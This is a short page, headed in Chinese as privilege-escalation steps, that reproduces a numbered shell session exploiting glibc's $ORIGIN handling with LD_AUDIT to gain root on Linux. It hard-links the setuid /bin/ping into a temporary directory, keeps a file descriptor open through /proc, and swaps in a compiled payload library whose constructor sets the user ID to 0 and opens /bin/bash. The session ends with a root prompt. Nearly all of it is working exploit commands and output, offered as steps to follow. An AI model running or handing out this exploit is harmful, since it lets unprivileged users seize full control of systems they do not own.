提权步骤:

 

  1. $ mkdir /tmp/exploit  
  2.    
  3. # Link to an suid binary, thus changing the definition of $ORIGIN.  
  4. $ ln /bin/ping /tmp/exploit/target  
  5.    
  6. # Open a file descriptor to the target binary (note: some users are surprised  
  7. # to learn exec can be used to manipulate the redirections of the current  
  8. # shell if a command is not specified. This is what is happening below).  
  9. $ exec 3< /tmp/exploit/target  
  10.    
  11. # This descriptor should now be accessible via /proc.  
  12. $ ls -l /proc/$$/fd/3  
  13. lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*  
  14.    
  15. # Remove the directory previously created  
  16. $ rm -rf /tmp/exploit/  
  17.    
  18. # The /proc link should still exist, but now will be marked deleted.  
  19. $ ls -l /proc/$$/fd/3  
  20. lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)  
  21.    
  22. # Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().  
  23. $ cat > payload.c  
  24. void __attribute__((constructor)) init()  
  25. {  
  26.     setuid(0);  
  27.     system("/bin/bash");  
  28. }  
  29. ^D  
  30. $ gcc -w -fPIC -shared -o /tmp/exploit payload.c  
  31. $ ls -l /tmp/exploit  
  32. -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*  
  33.    
  34. # Now force the link in /proc to load $ORIGIN via LD_AUDIT.  
  35. LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3  
  36. sh-4.1# whoami  
  37. root